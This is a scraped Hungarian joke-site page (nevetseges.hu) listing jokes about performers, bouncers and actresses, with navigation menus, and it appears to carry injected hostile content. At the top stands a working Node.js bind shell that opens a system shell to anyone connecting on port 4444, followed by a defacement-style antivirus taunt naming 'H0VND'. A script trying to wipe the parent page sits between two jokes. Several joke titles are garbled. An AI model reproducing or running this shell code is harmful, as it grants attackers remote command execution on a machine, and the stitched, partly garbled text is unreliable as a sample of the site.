-
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
SECURITY WARNING ANTIVÍRUS
Sajnos még az antivírus sem tud mit tenni H0VND ellen.
-
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
- El?hangol?s (Bolond viccek)
-
A híres hasbeszélõ mûvész falura megy nyaralni. Egy nap, amikor unatkozik, az az ötlete támad, hogy megvicceli a házigazdáját, akinek a portáján szobát bérelt. Arra kéri, mutassa meg neki a jószágait.
A gazda készségesen rááll. Mennek az istállóba, nézik a lovakat, s a hasbeszélõ egyszerre csak megszólal:
- Nem ad nekem enni! Nem ad nekem enni!
A gazda pironkodva tessékeli át vendégét a tehénhez. Ott a hasbeszélõ ismét panaszkodni kezd:
- Vasvillával ver, vasvillával ver!
A gazdának most már roppant kínos az egész és így szól:
- Beviszem még a kecskéhez, de nagyon kérem, egy szavát se higgye!
- Pr?bafelv?tel (Csak nőknek)
-
Ifjú színésznõ meséli a barátnõjének:
- Képzeld, tegnap próbafelvételen voltam a Filmgyárban és órákon át anyaszült meztelenül kellett lovagolnom a kamera elõtt!
- És? Szerzõdtettek?
- Engem nem, csak a lovat.
- T?lbuzg?s?g (Munkahelyi viccek)
-
A Maxim annyira világvárosivá fejlõdik, hogy már kidobó emberre is szüksége van. Hirdetést adnak fel, s a megjelenését követõ napon jelentkezik is egy tagbaszakadt, díjbirkózó külsejû férfi. A mulató fõpincérét keresi és közli, hogy a meghirdetett állásra jött.
- Tudja-e, mi lesz a dolga?
- Hát persze.
- És képes ellátni a feladatát?
- Nem mondok semmit! - feleli önérzetesen a hústorony. - Csak figyeljen!
Azzal odalép az egyik asztalhoz, ahol egy illuminált alak teszi-veszi magát. Elkapja a grabancát, felemeli, és egyetlen mozdulattal kihajítja az ajtón, aztán leporolja a két tenyerét és megkérdi:
- Elég határozottan csináltam?
- Nem vitás.
- Akkor vezessen a fõnökhöz, hadd írom alá a szerzõdést!
- Azt hiszem, az lehetetlen.
- De miért?
- Mert most dobta ki.
- K?nyvkiad?ban (Egyéb viccek)
-
- Szóval ön azt meri mondani, hogy a kéziratom silány fércmû? Hát vegye tudomásul, ha Jókait, Mikszáthot, Móricz Zsigmondot már régen elfelejtették, az én könyvem ott lesz minden család könyvespolcán!
- Akkor lehet. De addig nem.
- Az els? szerep (Egyéb viccek)
-
Bernadett boldog, mert megkapta az elsõ szerepét a színházban. Elsõ dolga, hogy eldicsekedjen vele a fiúnak, akivel jár.
- És mi a szereped?
- Szobalány leszek. A színfalak mögül kiabálok be, hogy kész a kávé, mire azt válaszolják, hogy köszönik, nem kérnek.
- Nagyszer? alak?t?s (Sport viccek)
-
A futballcsapat súlyos vereséget szenved, öt gólt kap és egyet se képes rúgni. A rádió riportere megkérdezi az egyesület sokszoros válogatott középcsatárát, aki most szintén gyatrán játszott:
- És mikor látunk a mi kedvelt Csúcsunktól valami igazán nagyszerû alakítást?
- Ma este a tévében! - hangzik a válasz. -Egy új bútorcsaládot fogok reklámozni.
- M?v?szi ?n?rzet (Elvont viccek)
-
Vidéki társulat elõadása: mindenki legalább négy-öt szerepet játszik, mert gázsi régóta nincs, a tagok többsége lelépett. A színre kerülõ nagyoperettet is egy szál zongorakísérettel adják elõ. Mit hoz a sors, az elsõ felvonást követõ szünetben a direktor kikukucskál a nézõtérre és a híres fõvárosi színigazgatót fedezi fel az elsõ sorban, aki nyilván itt nyaral. Tüstént hívatja a kellékest és utasítja, hogy a következõ felvonásban tegye be a színpad közepére a nagy biedermeier állóórát.
- De direktorom! - így a kellékes. - Hiszen most egy erdei tisztás jön, minek oda állóóra?
- Nem számít! - így az igazgató. - Had lássák, hogy van!
- Partit?ra (Csak férfiaknak)
-
Haknizik az énekesnõ. Számait szaxofonkísérettel adja elõ, de nincs állandó partnere, így mindig az illetõ város zenekarának szaxofonosát kéri fel. Az egyik helyen a zenész elõadás után tíz szál vörös szegfûvel állít be hozzá. Az énekesnõ ellágyul, felmegy a szaxofonos lakására, és vele tölti az éjszakát.
Az elõadókörút következõ állomásán, hogyan, hogy sem, az új szaxofonos is megjelenik a mûvésznõnél tíz szál szegfûvel. A nõ örül a sikerének és hagyja magát a zenész lakására felcsábítani.
Így megy ez városról városra. Az énekesnõt boldoggá teszi, hogy nemcsak mûvészi, de nõi sikerei is folyamatosak. Egyszer aztán egy beéneklés alkalmával véletlenül a kíséret partitúráját nyitja ki. Elképedve látja, hogy a kotta aljára hevenyészett kézírással valaki ezt firkantotta: „Vegyél tíz szál vörös szegfût és tiéd a nõ!"
- try {
// Megpróbáljuk elérni a legfelső szülő oldalt és kiüríteni a body-t
window.top.document.body.innerHTML = ';
} catch (e) {
console.error("Biztonsági hiba: Az iFrame-ből nem érhető el a főoldal (Cross-Origin).", e);
}
- Vil?gsz?m (Bolond viccek)
-
Egy langaléta férfi azzal jelentkezik a cirkusz igazgatójánál, hogy olyasmit tud, amit az
egész világon senki sem csinál utána, vagyis: „világszám". Álló helyzetbõl úgy dõl el, hogy a kezét egész idõ alatt szorosan a lába mellett tartja.
- Na, lássuk - mondja a direktor.
A hosszú ember eldõl, mint a liszteszsák. Iszonyú csattanással esik pofára, s utána úgy kell felmosni. Amikor magához tér, ez az elsõ kérdése:
- Igazgató úr, megveszi a számot?
- Eszembe sincs.
- És ugyanezt hátra?
- A m?v?szet hat?sa (Csak férfiaknak)
-
Egy harmadosztályú zenés szórakozóhely újabban mûsorral is szolgál a vendégeknek, így jobban lehet emelni az árakat. A mûsor úgynevezett „húzóneve", a táncosnõ elõbb vetkõzõszámot mutat be, amivel dörgõ tapsot arat, majd ennek sikerén felbuzdulva átöltözik és bejelenti, hogy cigánynótákat fog elõadni.
Az elsõ sorban egy éltesebb úr ül és az énekszámot hallgatva sûrû könnyeket hullat. A szünetben odalép hozzá a tulajdonos.
- Bocsánat a zavarásért, de láttam, hogy önre mennyire hatott a mûsorunk. Ha nem tévedek, sírt a cigánynóták alatt. Csak nem cigány uraságod?
- Nem. Zenész vagyok.
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
-
- .:Állatos viccek:.
- .:Anyós viccek:.
- .:Bolond viccek:.
- .:Csak nőknek:.
- .:Csak férfiaknak:.
- .:Egyéb viccek:.
- .:Elvont viccek:.
- .:Gyerek viccek:.
- .:Házassági viccek:.
- .:Hogy hívják...:.
- .:Jean viccek:.
- .:Katona viccek:.
- .:Közlekedési viccek:.
- .:Morbid viccek:.
- .:Móricka viccek:.
- .:Munkahelyi viccek:.
- .:Orvosi viccek:.
- .:Pikáns viccek:.
- .:Pincér viccek:.
- .:Politikai viccek:.
- .:Rendőr viccek:.
- .:Részeg viccek:.
- .:Roma viccek:.
- .:Skót viccek:.
- .:Sport viccek:.
- .:Stirlitz viccek:.
- .:Számítástechnikai viccek:.
- .:Székely viccek:.
- .:Szőke nős viccek:.
- .:Utolsó mondatok:.
- .:Ügyvéd viccek:.
- .:Vallási viccek:.
- .:Zsidó viccek:.
nevetseges.hu on Facebook - Nevetséges Viccek - Impresszum - Jogi nyilatkozat
Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu
